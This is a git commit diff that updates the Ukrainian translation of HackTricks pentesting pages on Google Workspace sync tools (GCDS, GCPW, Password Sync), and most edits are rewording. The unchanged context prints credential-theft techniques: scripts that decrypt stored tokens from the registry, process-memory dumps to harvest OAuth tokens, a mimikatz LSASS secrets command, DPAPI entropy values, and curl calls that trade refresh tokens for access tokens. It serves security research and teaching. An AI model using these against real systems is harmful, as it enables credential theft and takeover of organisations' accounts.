Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:39:38 +00:00
parent 54dacb5f8a
commit 4a0477b5f2
42 changed files with 698 additions and 681 deletions

View File

@@ -49,12 +49,12 @@
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Зверніть увагу, як **refresh** **token** та **password** користувача **шифруються** за допомогою **AES CBC** з випадково згенерованим ключем та IV, які зберігаються в **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (де б не зберігала бібліотека **`prefs`** Java налаштування) у рядкових ключах **`/Encryption/Policy/V2.iv`** та **`/Encryption/Policy/V2.key`**, збережених у base64.
Зверніть увагу, що **refresh** **token** та **password** користувача **шифруються** за допомогою **AES CBC** з випадково згенерованим ключем та IV, які зберігаються в **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (де б не зберігала бібліотека **`prefs`** Java налаштування) у рядкових ключах **`/Encryption/Policy/V2.iv`** та **`/Encryption/Policy/V2.key`**, збережених у base64.
<details>
<summary>Powershell скрипт для розшифрування refresh token та пароля</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,7 +150,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який бінарний файл `upgrade-config.exe` очікує для виведення ключів).
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який очікує бінарний файл `upgrade-config.exe` для виведення ключів).
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифрування інформації.
@@ -162,7 +162,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
<details>
<summary>Виведення процесів config-manager.exe та пошук токенів</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - Генерація токенів доступу з токенів оновлення
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -248,11 +248,11 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - Сфери
> [!NOTE]
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
> Зверніть увагу, що навіть маючи refresh token, неможливо запитати будь-яку сферу для access token, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте access token**.
>
> Крім того, токен оновлення не є дійсним у кожному додатку.
> Крім того, refresh token не є дійсним у кожному додатку.
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
<details>
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Неможливо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
> Неприпустимо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Нові рядки були додані для покращення читабельності.
> [!NOTE]
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` і запустивши **функції доступності** на сторінці входу в Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знижувався до TCP зв'язку, і ви могли його бачити.
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` та запустивши **функції доступності** на сторінці входу в Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знизився до TCP-комунікації, і ви могли його бачити.
>
> Також налаштуйте в "Служби та інші користувачі" обидві опції та встановіть сертифікат Burp CA в Windows.
Крім того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` в **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
Більше того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` в **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
### GCPW - Відбиток
Можна перевірити, чи встановлено GCPW на пристрої, перевіривши, чи існує наступний процес або чи існують наступні ключі реєстру:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -111,7 +109,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
<details>
<summary>Отримати <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> дані та розшифрувати refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
Більше того, шифрування можна знайти в цьому коді: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на цей момент), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac 16B**.
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на даний момент), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac 16B**.
### GCPW - Витягування токенів з пам'яті процесів
### GCPW - Витяг токенів з пам'яті процесів
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome**, використовуючи `procdump`, витягувати **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome** за допомогою `procdump`, витягти **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
<details>
<summary>Витягнути процеси Chrome та шукати токени</summary>
```powershell
<summary>Витягти процеси Chrome та шукати токени</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Я спробував те ж саме з `gcpw_extension.exe`, але він не знайшов жодного токена.
З якоїсь причини, **деякі витягнуті токени доступу не будуть дійсними (хоча деякі будуть)**. Я спробував наступний скрипт, щоб видаляти символи по одному, щоб спробувати отримати дійсний токен з дампу. Це ніколи не допомагало мені знайти дійсний, але, можливо, це може:
З якоїсь причини, **деякі витягнуті токени доступу не будуть дійсними (хоча деякі будуть)**. Я спробував наступний скрипт, щоб видаляти символи по одному, щоб спробувати отримати дійсний токен з дампу. Це ніколи не допомагало мені знайти дійсний, але, можливо, це спрацює:
<details>
<summary>Перевірте токен доступу, видаляючи символи по одному</summary>
<summary>Перевірка токена доступу, видаляючи символи по одному</summary>
```bash
#!/bin/bash
@@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCPW - Сфери
> [!NOTE]
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати будь-яку сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
>
> Крім того, токен оновлення не є дійсним у кожному додатку.
@@ -468,7 +466,7 @@ https://www.googleapis.com/auth/wallet.chrome
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Однак я намагався використати цей обсяг для доступу до gmail або списку груп, і це не спрацювало, тому я не знаю, наскільки це все ще корисно.
Однак я намагався використати цей обсяг для доступу до gmail або для переліку груп, і це не спрацювало, тому я не знаю, наскільки це все ще корисно.
**Отримати токен доступу з усіма цими обсягами**:
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -763,7 +761,7 @@ curl -X POST \
**Google Workspace Vault** - це додаток для Google Workspace, який надає інструменти для зберігання даних, пошуку та експорту даних вашої організації, збережених у службах Google Workspace, таких як Gmail, Drive, Chat та інші.
- **Справа** в Google Workspace Vault - це **контейнер**, який організовує та групує всю інформацію, пов'язану з конкретною справою, розслідуванням або юридичною справою. Він слугує центральним вузлом для управління **Утриманнями**, **Пошуками** та **Експортами**, що стосуються цієї конкретної проблеми.
- **Утримання** в Google Workspace Vault - це **дія збереження**, що застосовується до конкретних користувачів або груп, щоб **запобігти видаленню або зміні** їхніх даних у службах Google Workspace. Утримання забезпечують збереження відповідної інформації в цілості та незмінності протягом тривалості юридичної справи або розслідування.
- **Утримання** в Google Workspace Vault - це **дія збереження**, застосована до конкретних користувачів або груп, щоб **запобігти видаленню або зміні** їхніх даних у службах Google Workspace. Утримання забезпечують, щоб відповідна інформація залишалася незмінною та не модифікованою протягом юридичної справи або розслідування.
```bash
# List matters
curl -X GET \
@@ -795,9 +793,9 @@ curl -X GET \
</details>
## GCPW - Відновлення пароля у відкритому тексті
## GCPW - Відновлення пароля у відкритому вигляді
Щоб зловживати GCPW для відновлення пароля у відкритому тексті, можна вивантажити зашифрований пароль з **LSASS** за допомогою **mimikatz**:
Щоб зловживати GCPW для відновлення пароля у відкритому вигляді, можна вивантажити зашифрований пароль з **LSASS** за допомогою **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -809,7 +807,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
<details>
<summary>Скрипт для отримання пароля у відкритому тексті, враховуючи токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
<summary>Скрипт для отримання пароля у відкритому тексті, given токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
```python
import requests
from base64 import b64decode
@@ -885,7 +883,7 @@ decrypt_password(access_token, lsa_secret)
```
</details>
Можливо знайти ключові компоненти цього в вихідному коді Chromium:
Можна знайти ключові компоненти цього в вихідному коді Chromium:
- API домен: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- API кінцева точка: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

View File

@@ -14,13 +14,13 @@
- Увійдіть через **OAuth** з Google, після чого він **зберігатиме токен у реєстрі (зашифрований)**
- Доступно лише на контролерах домену з GUI
- Надання деяких **облікових даних служби з GCP** (json файл) з правами на **управління користувачами Workspace**
- Надати деякі **облікові дані служби з GCP** (json файл) з правами на **управління користувачами Workspace**
- Дуже погана ідея, оскільки ці облікові дані ніколи не закінчуються і можуть бути зловживані
- Дуже погана ідея надавати SA доступ до Workspace, оскільки SA може бути скомпрометований у GCP, і це може дозволити перейти до Workspace
- Google вимагає це для контролю домену без GUI
- Ці облікові дані також зберігаються в реєстрі
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано варіант облікових даних, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано варіант з обліковими даними, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
### GPS - Витяг пароля та токена з диска
@@ -29,30 +29,30 @@
У файлі **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** можна знайти частину конфігурації, таку як **`baseDN`** налаштованого AD та **`username`**, облікові дані якого використовуються.
У реєстрі **`HKLM\Software\Google\Google Apps Password Sync`** можна знайти **зашифрований токен оновлення** та **зашифрований пароль** для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі **облікові дані SA**, також можливо знайти їх зашифрованими за цією адресою реєстру. **Значення** в цьому реєстрі доступні лише **адміністраторам**.
У реєстрі **`HKLM\Software\Google\Google Apps Password Sync`** можна знайти **зашифрований токен оновлення** та **зашифрований пароль** для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі **облікові дані SA**, також можна знайти їх зашифрованими за цією адресою реєстру. **Значення** в цьому реєстрі доступні лише **адміністраторам**.
Зашифрований **пароль** (якщо є) знаходиться в ключі **`ADPassword`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Зашифрований токен (якщо є) знаходиться в ключі **`AuthToken`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Більше того, він також кодується за допомогою base32hex з словником **`0123456789abcdefghijklmnopqrstv`**.
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, а інструмент **показуватиме значення для використаної ентропії** в обох випадках:
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, і інструмент **показуватиме значення для використаної ентропії** в обох випадках:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Зверніть увагу, що також можливо побачити **розшифровані** значення в введенні або виході викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).
Зверніть увагу, що також можливо побачити **розшифровані** значення вхідних або вихідних даних викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).
У разі, якщо синхронізація паролів була **налаштована з обліковими даними SA**, вона також буде зберігатися в ключах у реєстрі **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Витяг токенів з пам'яті
Так само, як і з GCPW, можливо витягти пам'ять процесу `PasswordSync.exe` та процесу `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
Так само, як і з GCPW, можливо витягти пам'ять процесу `PasswordSync.exe` та `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
Я думаю, ви також могли б знайти налаштовані облікові дані AD.
<details>
<summary>Витягніть <code>PasswordSync.exe</code> та <code>password_sync_service.exe</code> процеси та шукайте токени</summary>
```powershell
<summary>Витягти <code>PasswordSync.exe</code> та <code>password_sync_service.exe</code> процеси та шукати токени</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Генерація токенів доступу з токенів оновлення
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Сфери
> [!NOTE]
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати будь-яку сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
>
> Крім того, токен оновлення не є дійсним у кожному додатку.
За замовчуванням GPS не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
За замовчуванням GPS не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
<details>
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
Який є тим самим, що ви отримуєте, якщо не вказати жодної області.
> [!CAUTION]
> З цією областю ви могли б **змінити пароль існуючого користувача для підвищення привілеїв**.
> З цією областю ви могли б **змінити пароль існуючого користувача для ескалації привілеїв**.
{{#include ../../../banners/hacktricks-training.md}}